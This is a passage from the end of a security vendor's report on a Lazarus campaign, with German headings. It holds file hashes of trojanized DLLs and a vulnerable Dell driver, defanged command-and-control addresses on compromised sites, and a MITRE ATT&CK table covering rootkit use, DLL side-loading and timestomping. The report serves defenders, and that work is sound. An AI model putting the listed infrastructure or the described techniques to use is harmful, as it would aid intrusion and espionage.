C948AE14761095E4D76B55D9DE86412258BE7AFD | DBUtil_2_3.sys | Win64/DBUtil.A | A legitimate vulnerable driver from Dell, dropped by FudModule.dll. |
085F3A694A1EECDE76A69335CD1EA7F345D61456 | cryptsp.dll | Win64/NukeSped.JF | A dropper in the form of a trojanized lecui library. |
55CAB89CB8DABCAA944D0BCA5CBBBEB86A11EA12 | mi.dll | Win64/NukeSped.JF | A dropper in the form of a trojanized lecui library. |
806668ECC4BFB271E645ACB42F22F750BFF8EE96 | credui.dll | Win64/NukeSped.JC | A trojanized FingerText plug-in for Notepad++. |
BD5DCB90C5B5FA7F5350EA2B9ACE56E62385CA65 | msdxm.ocx | Win32/NukeSped.KT | A trojanized version of LibreSSL’s sslSniffer. |
Netzwerk
IP | Provider | First seen | Details |
---|---|---|---|
67.225.140[.]4 | Liquid Web, L.L.C | 2021‑10‑12 | A compromised legitimate WordPress-based site hosting the C&C server https://turnscor[.]com/wp-includes/feedback.php |
50.192.28[.]29 | Comcast Cable Communications, LLC | 2021‑10‑12 | A compromised legitimate site hosting the C&C server https://aquaprographix[.]com/patterns/Map/maps.php |
31.11.32[.]79 | Aruba S.p.A. | 2021‑10‑15 | A compromised legitimate site hosting the C&C server http://www.stracarrara[.]org/images/img.asp |
MITRE ATT&CK Techniken
This table was built using version 11 of the MITRE ATT&CK framework.
Tactic | ID | Name | Description |
---|---|---|---|
Execution | T1106 | Native API | The Lazarus HTTP(S) backdoor uses the Windows API to create new processes. |
T1059.003 | Command and Scripting Interpreter: Windows Command Shell | HTTP(S) backdoor malware uses cmd.exe to execute command-line tools | |
Defense Evasion | T1140 | Deobfuscate/Decode Files or Information | Many of the Lazarus tools are stored in an encrypted state on the file system. |
T1070.006 | Indicator Removal on Host: Timestomp | The Lazarus HTTP(S) backdoor can modify the file time attributes of a selected file. | |
T1574.002 | Hijack Execution Flow: DLL Side-Loading | Many of the Lazarus droppers and loaders use a legitimate program for their loading. | |
T1014 | Rootkit | The user-to-kernel module of Lazarus can turn off monitoring features of the OS. | |
T1027.002 | Obfuscated Files or Information: Software Packing | Lazarus uses Themida and VMProtect to obfuscate their binaries | |
T1218.011 | System Binary Proxy Execution: Rundll32 | Lazarus uses rundll32.exe to execute its malicious DLLs | |
Command and Control | T1071.001 | Application Layer Protocol: Web Protocols | The Lazarus HTTP(S) backdoor uses HTTP and HTTPS to communicate with its C&C servers. |
T1573.001 | Encrypted Channel: Symmetric Cryptography | The Lazarus HTTP(S) backdoor encrypts C&C traffic using the AES-128 algorithm. | |
T1132.001 | Data Encoding: Standard Encoding | The Lazarus HTTP(S) payloads encode C&C traffic using the base64 algorithm. | |
Exfiltration | T1560.002 | Archive Collected Data: Archive via Library | The Lazarus HTTP(S) uploader can zip files of interest and upload them to its C&C. |
Resource Development | T1584.004 | Acquire Infrastructure: Server | Compromised servers were used by all the Lazarus HTTP(S) backdoor, uploader, and downloader as a C&C. |
Develop Capabilities | T1587.001 | Malware | Custom tools from the attack are likely developed by the attackers. Some exhibit highly specific kernel development capacities seen earlier in Lazarus tools. |
Execution | T1204.002 | User Execution: Malicious File | The target was lured to open a malicious Word document. |
Initial Access | T1566.003 | Phishing: Spearphishing via Service | The target was contacted via LinkedIn Messaging. |
T1566.001 | Phishing: Spearphishing Attachment | The target received a malicious attachment. | |
Persistence | T1547.006 | Boot or Logon Autostart Execution: Kernel Modules and Extensions | The BYOVD DBUtils_2_3.sys was installed to start via the Boot loader (value 0x00 in the Start key under HKLM\SYSTEM\CurrentControlSet\Services\<name>. |
T1547.001 | Boot or Logon Autostart Execution: Startup Folder | The dropper of the HTTP(S) downloader creates a LNK file OneNoteTray.LNK in the Startup folder. |
Referenzen
Ahnlab. Analysis Report on Lazarus Group’s Rootkit Attack Using BYOVD. Vers. 1.0. 22 September 2022. Retrieved from AhnLab Security Emergency Response Center.
Ahnlab. (2021, June 4). APT Attacks on Domestic Companies Using Library Files. Retrieved from AhnLab Security Emergency Response Center.
Ahnlab. (2022, September 22). Analysis Report on Lazarus Group’s Rootkit Attack Using BYOVD. Retrieved from AhnLab Security Emergency Response Center.
Breitenbacher, D., & Kaspars, O. (2020, June). Operation In(ter)ception: Aerospace and military companies in the crosshairs of cyberspies. Retrieved from WeLiveSecurity.com.
ClearSky Research Team. (2020, August 13). Operation ‘Dream Job’ Widespread North Korean Espionage Campaign. Retrieved from ClearSky.com.
Dekel, K. (n.d.). Sentinel Labs Security Research. CVE-2021-21551- Hundreds Of Millions Of Dell Computers At Risk Due to Multiple BIOS Driver Privilege Escalation Flaws. Retrieved from SentinelOne.com.
ESET. (2021, June 3). ESET Threat Report T 1 2021. Retrieved from WeLiveSecurity.com.
GReAT. (2016, August 16). The Equation giveaway. Retrieved from SecureList.com.
HvS-Consulting AG. (2020, December 15). Greetings from Lazarus: Anatomy of a cyber-espionage campaign. Retrieved from hvs-consulting.de.
Cherepanov, A., & Kálnai, P. (2020, November). Lazarus supply-chain attack in South Korea. Retrieved from WeLiveSecurity.com.
Kálnai, P. (2017, 2 17). Demystifying targeted malware used against Polish banks. (ESET) Retrieved from WeLiveSecurity.com.
Kopeytsev, V., & Park, S. (2021, February). Lazarus targets defense industry with ThreatNeedle. (Kaspersky Lab) Retrieved from SecureList.com.
Lee, T.-w., Dong-wook, & Kim, B.-j. (2021). Operation BookCode - Targeting South Korea. Virus Bulletin. localhost. Retrieved from vblocalhost.com.
Maclachlan, J., Potaczek, M., Isakovic, N., Williams, M., & Gupta, Y. (2022, September 14). It's Time to PuTTY! DPRK Job Opportunity Phishing via WhatsApp. Retrieved from Mandiant.com.
Tomonaga, S. (2020, September 29). BLINDINGCAN - Malware Used by Lazarus. (JPCERT/CC) Retrieved from blogs.jpcert.or.jp.
US-CERT CISA. (2020, August 19). MAR-10295134-1.v1 – North Korean Remote Access Trojan: BLINDINGCAN. (CISA) Retrieved from cisa.gov.
Weidemann, A. (2021, 1 25). New campaign targeting security researchers. (Google Threat Analysis Group) Retrieved from blog.google.
Wu, H. (2008). The Stream Cipher HC-128. In M. Robshaw , & O. Billet , New Stream Cipher Designs (Vol. 4986). Berlin, Heidelberg: Springer. Retrieved from doi.org.
–
Haben Sie Fragen und Anregungen zu diesem, anderen oder zukünftigen Themen, die Sie gern betrachtet sehen wollen? Dann nutzen Sie gern die Kommentarfunktion unter diesem Artikel oder nutzen unser Kontaktformular!